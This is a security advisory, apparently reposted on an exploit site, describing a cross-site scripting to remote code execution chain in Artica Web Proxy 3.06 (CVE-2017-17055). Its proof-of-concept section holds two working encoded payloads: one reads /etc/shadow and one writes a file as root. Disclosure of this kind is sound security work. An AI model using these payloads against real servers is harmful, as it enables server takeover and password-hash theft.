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Artica Web Proxy 3.06 - Remote Code Execution Vulnerability
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page (aka Hyp3rlinX)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ARTICA-WEB-PROXY-v3.06-REMOTE-CODE-EXECUTION-CVE-2017-17055.txt
Vendor:
=======
www.articatech.com
Product:
=========
Artica Web Proxy v.3.06.112216
Artica Tech offers a powerful but easy-to-use Enterprise-Class Web Security and Control solution,
usually the preserve of large companies. ARTICA PROXY Solutions have been developed over the past
10 years as an Open Source Project to help SMEs and public bodies protect both their organizations
and employees from risks posed by the Internet.
Vulnerability Type:
===================
Remote Code Execution
CVE Reference:
==============
CVE-2017-17055
Security Issue:
================
Artica offers a web based command line emulator 'system.terminal.php' (shell), allowing authenticated users to execute OS commands as root.
However, artica fails to sanitize the following HTTP request parameter $_GET["username-form-id"] used in 'freeradius.users.php'.
Therefore, authenticated users who click an attacker supplied link or visit a malicious webpage, can result in execution of attacker
supplied Javascript code. Which is then used to execute unauthorized Operating System Commands (RCE) on the affected Artica Web Proxy Server
abusing the system.terminal.php functionality. Result is attacker takeover of the artica server.
Exploit/POC:
=============
1) Steal artica Server "/etc/shadow" password file.
https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=cat%20/etc/shadow%27);%3C%2Fscript%3E%3Cscript%3E
2) Write file 'PWN' to /tmp dir.
https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=touch%20/tmp/PWN%27);%3C%2Fscript%3E%3Cscript%3E
# 0day.today [2024-11-15] #